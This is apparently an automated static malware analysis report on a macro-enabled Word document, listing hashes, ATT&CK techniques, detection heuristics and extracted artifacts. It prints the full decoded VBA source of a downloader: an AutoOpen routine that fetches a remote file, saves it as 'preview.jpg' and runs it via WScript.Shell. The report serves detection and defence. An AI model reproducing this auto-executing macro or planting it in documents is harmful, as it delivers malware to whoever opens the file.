Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 90fd213a23dec39b…

MALICIOUS

Office (OOXML)

111.2 KB Created: 2020-08-13 09:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 6ea8f46f88e057ab0555fc2c8a02c2b7 SHA-1: 2dc4f709e85bb7a423069378c9a37353432144d3 SHA-256: 90fd213a23dec39b8f7d21ef074d09827160d8124e0b61d169910f7603c52bae
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to download content from an external URL. The script attempts to download a file named 'preview.jpg' and then execute it using 'wscript.shell.exec'. The external relationship points to a local file path, suggesting a potential builder artifact or a staged download.

Heuristics 8

  • ClamAV: Doc.Malware.W2000m-9757284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-9757284-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function df9e122e(a57e9e65)
    Set f5400433 = CreateObject("wscript.shell")
    Call f5400433.exec(a57e9e65)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function df9e122e(a57e9e65)
    Set f5400433 = CreateObject("wscript.shell")
    Call f5400433.exec(a57e9e65)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    Dim b8a49500 As New d7cd71a8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack3\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1579 bytes
SHA-256: 9cd475eec49a3ca3c863503a7981cfdae8c6d150469d7eefb3bc9b6479f745a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b9d1ecfe"
Function ed71ee4c()
ed71ee4c = 1
End Function
Sub AutoOpen()
Dim b8a49500 As New d7cd71a8
db626fd0 = b8a49500.c492b9b9(ActiveDocument.Shapes(ed71ee4c).AlternativeText)
df32966b ba9cf3dd(db626fd0)
b8a49500.df9e122e dcd3f665
End Sub

Attribute VB_Name = "d255cded"
Sub df32966b(f8d1ff1f)
Open f5d112a0 For Output As #1
Print #1, f8d1ff1f
Close #1
End Sub
Function f5d112a0()
f5d112a0 = "preview.jpg"
End Function
Sub f45fc2da()
End Sub
Function ba9cf3dd(f8d1ff1f)
ba9cf3dd = StrConv(f8d1ff1f, 64)
End Function
Function dcd3f665()
dcd3f665 = ActiveDocument.Shapes(1).Title + " " + f5d112a0
End Function

Attribute VB_Name = "d7cd71a8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c492b9b9(bfd4496b)
Dim dc284fd1 As Object
Set dc284fd1 = New MSXML2.XMLHTTP60
dc284fd1.Open "GET", bfd4496b, False
dc284fd1.Send
'
With dc284fd1
c492b9b9 = .responsebody
End With
End Function
Function df9e122e(a57e9e65)
Set f5400433 = CreateObject("wscript.shell")
Call f5400433.exec(a57e9e65)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 784900a42e40f3e47baf127e0f2dd5463d4b7691f5e9a7c11dac5648410a6e5d
Detection
ClamAV: Doc.Malware.W2000m-9757284-0
Obfuscation or payload: unlikely